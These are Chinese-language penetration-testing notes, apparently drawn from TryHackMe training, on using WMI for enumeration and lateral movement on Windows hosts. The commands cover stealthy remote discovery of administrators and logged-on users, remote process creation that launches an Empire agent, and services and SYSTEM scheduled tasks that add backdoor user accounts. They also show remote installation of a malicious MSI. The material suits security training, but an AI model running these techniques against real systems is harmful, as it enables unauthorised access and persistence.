:::info

  • 端口：
    • 135/TCP， 49152-65535/TCP （DCERPC）
    • 5985/TCP 5986/TCP （WinRM）
  • 权限： 管理员

:::

介绍

WMI 是微软提供的一种管理和监控 WIndows 操作系统及其组件的框架, 可以通过 API 或命令行工具与操作系统交互,.

WMI提供了一种标准化的、面向对象的编程接口，允许开发人员使用各种编程语言（如C++, C#, VBScript等）来查询和修改系统配置、运行状态、事件日志等信息，并支持远程管理和监控。用户可以使用WMI来获取硬件和软件信息、执行系统管理任务等。

WMI主要由 WMI核心、WMI提供程序和 WMI服务 三个部分组成。其中，WMI提供程序为不同的Windows组件和应用程序提供了标准化的WMI接口，而WMI核心则负责解析WMI提供程序所提供的数据和方法。WMI服务则是WMI的运行时环境，负责处理WMI的请求和维护WMI的状态。

WMI 允许我们在知道用户名/(密码/哈希) 情况下,打开主机中的进程, 然后，Wmiexec使用wmi来执行每个被要求执行的命令（这就是为什么Wmicexec给你半交互式的shell）。

dcomexec.py： 这个脚本提供了一个类似于wmiexec.py的半交互式shell，但使用不同的DCOM端点（ShellBrowserWindow DCOM对象）。目前，它支持MMC20。应用程序、Shell Windows和Shell Browser Window对象。(来自Impacket Guide: SMB/MSRPC - Hacking Articles)

基础内容

命名空间

WMI被划分为一个目录式的层次结构，即\root容器，在\root下还有其他目录。这些 “目录路径 “被称为命名空间。

列出命名空间：

  1. #Get Root namespaces
  2. gwmi -namespace "root" -Class "__Namespace" | Select Name
  4. #List all namespaces (you may need administrator to list all of them)
  5. Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace
  7. #List namespaces inside "root\cimv2"
  8. Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace

列出一个命名空间的类：

  1. gwmwi -List -Recurse #If no namespace is specified, by default is used: "root\cimv2"
  2. gwmi -Namespace "root/microsoft" -List -Recurse

类

WMI类的名称，例如：win32_process是任何WMI行动的起点。我们总是需要知道一个类名和它所在的命名空间。

列出以win32开头的类：

  1. Get-WmiObject -Recurse -List -class win32* | more #If no namespace is specified, by default is used: "root\cimv2"
  2. gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*"

查看指定类

  1. #When you don't specify a namespaces by default is "root/cimv2"
  2. Get-WmiObject -Class win32_share
  3. Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus

方法

WMI 类具有一个或多个可以执行的函数。这些函数称为方法

  1. #Load a class using [wmiclass], leist methods and call one
  2. $c = [wmiclass]"win32_share"
  3. $c.methods
  4. #Find information about the class in https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-share
  5. $c.Create("c:\share\path","name",0,$null,"My Description")
  6. #If returned value is "0", then it was successfully executed
  1. #List methods
  2. Get-WmiObject -Query 'Select * From Meta_Class WHERE __Class LIKE "win32%"' | Where-Object { $_.PSBase.Methods } | Select-Object Name, Methods
  3. #Call create method from win32_share class
  4. Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0)

WMI 枚举

检查 WMI 服务

查看 WMI 正在运行的方法

  1. #Check if WMI service is running
  2. PS C:\> Get-Service Winmgmt
  3. Status   Name               DisplayName
  4. ------   ----               -----------
  5. Running  Winmgmt            Windows Management Instrumentation
  7. #From CMD
  8. C:\>  net start | findstr "Instrumentation"

系统信息

  1. Get-WmiObject -ClassName win32_operatingsystem | select * | more

处理信息

  1. Get-WmiObject win32_process | Select Name, Processid

从攻击者的角度来看，WMI 在枚举有关系统或域的敏感信息方面非常有价值。

  1. wmic computerystem list full /format:list  
  2. wmic process list /format:list  
  3. wmic ntdomain list /format:list  
  4. wmic useraccount list /format:list  
  5. wmic group list /format:list  
  6. wmic sysaccount list /format:list
  1.  Get-WmiObject Win32_Processor -ComputerName 10.0.0.182 -Credential $cred

远程查询

这是一种非常隐蔽的方式来发现远程机器上的本地管理员（注意域是计算机名）：

  1. wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"")

查看谁登陆了机器:

  1. wmic /node:ordws01 path win32_loggedonuser get antecedent

wmic甚至可以从文本文件中读取节点并对所有节点执行命令。如果您有工作站的文本文件：

  1. wmic /node:@workstations.txt path win32_loggedonuser get antecedent

我们将通过 WMI 远程创建一个进程来执行 Empire 代理：

  1. wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**"

我们看到它执行成功（ReturnValue = 0）。一秒钟后，我们的 Empire 听众听到了。请注意，进程 ID 与返回的 WMI 相同。

连接

  1. $username = 'Administrator';
  2. $password = 'Mypass123';
  3. $securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
  4. $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
  5. $Opt = New-CimSessionOption -Protocol DCOM
  6. $Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop

我们可以使用以下任意一种进行建立会话：

  • DOCM ： RPC over IP将被用于连接WMI。该协议使用端口135/TCP和端口49152-65535/TCP，就像使用sc.exe时解释的那样。
  • Wsman ： 使用 WinRM 进行连接，我们可以使用端口 5985 5986

远程进程

我们可以利用 WMI 从 Powershell 远程生成进程：

  1. $Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";
  3. Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
  4. CommandLine = $Command
  5. }

WMI 不允许查看命令输出，但是会以静默方式创建所需进程

我们也可以使用 wmic 完成相同操作

  1. wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe"

远程服务

创建一个 THMService2 服务：

  1. Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
  2. Name = "THMService2";
  3. DisplayName = "THMService2";
  4. PathName = "net user munra2 Pass123 /add"; # Your payload
  5. ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
  6. StartMode = "Manual"
  7. }
  1. $Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"
  3. Invoke-CimMethod -InputObject $Service -MethodName StartService    # 启动
  4. Invoke-CimMethod -InputObject $Service -MethodName StopService    # 停止
  5. Invoke-CimMethod -InputObject $Service -MethodName Delete                # 删除

计划任务

  1. # Payload must be split in Command and Args
  2. $Command = "cmd.exe"
  3. $Args = "/c net user munra22 aSdf1234 /add"
  5. $Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
  6. Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
  1. Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"                # 启动计划任务
  2. Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"    # 删除计划任务

MSI 包

我们可以使用上传的恶意 MSI 程序进行

  1. Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}

我们也可以使用 wmic.exe 实现

  1. wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi

参考

TryHackMe | Cyber Security Training